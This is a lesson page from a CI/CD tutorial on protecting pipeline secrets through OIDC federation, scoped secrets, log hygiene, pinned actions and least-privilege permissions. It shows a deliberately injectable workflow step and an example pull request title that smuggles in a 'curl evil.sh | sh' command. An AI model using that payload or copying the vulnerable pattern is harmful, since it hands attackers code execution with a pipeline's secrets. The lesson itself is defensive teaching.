Catalog My learning Blog
CI/CD and DevOps Tutorial: Build a Delivery Pipeline · Phase 2 · Lesson 11 · 4 min read

Secrets Management in CI/CD Pipelines

On this page
  1. Why CI pipelines are a target
  2. Replacing stored cloud keys with OIDC
  3. Storing the secrets you can't federate
  4. Keeping secrets out of logs and code
  5. Script injection from untrusted input
  6. Locking down workflow permissions
  7. Check yourself

Why CI pipelines are a target

A CI pipeline can deploy to production, push images and read databases. Its credentials are worth more to an attacker than most servers. Real breaches have followed this path: secrets leaked through build logs, stolen from compromised third-party actions, or exfiltrated by malicious pull requests.

Replacing stored cloud keys with OIDC

The old pattern stored a long-lived AWS access key as a CI secret. If it leaked, it worked until someone noticed. OIDC federation removes it: the CI platform issues a short-lived, signed token describing the run (repository, branch, environment), and the cloud exchanges it for temporary credentials.

Think of a visitor badge printed at reception: it says who you are and where you may go, and it stops working at the end of the day. A stored access key is more like a copy of the master key, which works for anyone holding it until someone changes the locks.

YAML
permissions:
  contents: read
  id-token: write   # allow the job to request an OIDC token

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-checkout-svc
          aws-region: us-east-1
      - run: ./scripts/deploy.sh production "${GITHUB_SHA::12}"

The IAM role's trust policy decides which runs may assume it. Scope it tightly with the token's sub claim:

Code
"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:acme/checkout-svc:environment:production"
  }
}

Only jobs in that repository's production environment can deploy, not a pull request from a fork, and not another repository. Azure, Google Cloud, HashiCorp Vault and most clouds support the same flow.

The CI job presents a short-lived OIDC token; the cloud checks its claims and returns temporary credentials, so no long-lived key is stored.
The CI job presents a short-lived OIDC token; the cloud checks its claims and returns temporary credentials, so no long-lived key is stored.

Storing the secrets you can't federate

Some secrets can't be federated: a third-party API key, a signing key.

  • Scope them: environment secrets (only jobs in production see production secrets) rather than repository-wide ones.
  • Better, fetch at runtime from a secrets manager (AWS Secrets Manager, Vault, Azure Key Vault) using the OIDC identity, so CI holds nothing.
  • Rotate them on a schedule and immediately after people leave.
  • Never pass secrets to untrusted code: workflows triggered by pull requests from forks don't receive secrets by default. pull_request_target runs with secrets in the base repository's context, so never check out and run the pull request's code in it.

Keeping secrets out of logs and code

  • CI systems mask registered secret values in logs, but not transformed ones (base64-encoded, split, or printed by a debug flag).
  • Don't echo environment variables or run tools with verbose HTTP logging in pipelines that hold secrets.
  • Scan for committed secrets with gitleaks or GitHub secret scanning with push protection (Day 25).

Script injection from untrusted input

Workflow expressions are expanded before the shell runs. Interpolating attacker-controlled text, like a pull request title, into a run: step lets that text become shell commands. actionlint flags it:

YAML
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: echo "PR title is ${{ github.event.pull_request.title }}"
Code
"github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts.
instead, pass it through an environment variable.

The fix is to pass it through env: (TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" in the script, where it's treated as data.

Locking down workflow permissions

  • Set permissions: to the minimum on every workflow; the default token can be broader than you think.
  • Pin third-party actions to a full commit SHA, since a tag can be moved to malicious code, as happened with a popular action in 2025.
  • Require approval before workflows run for first-time contributors.

Check yourself

No long-lived secret exists to leak; each run gets short-lived credentials, and the trust policy limits which repositories and environments can obtain them.

The expression is substituted into the shell script before it runs, so a pull request titled with something like "; curl evil.sh | sh # executes arbitrary commands with the job's permissions. Pass untrusted values through environment variables and quote them instead.

Tags can be moved to point at different code, as happened in real supply chain attacks on popular actions. A full commit SHA always refers to the exact code you reviewed. Tools like Dependabot can still propose updates.

It gives the GITHUB_TOKEN only read access by default, so a compromised step can't push code or change releases. Grant extra permissions per job only where needed.

It runs with the base repository's secrets and write permissions. Checking out and running a fork's code in it gives that code those secrets.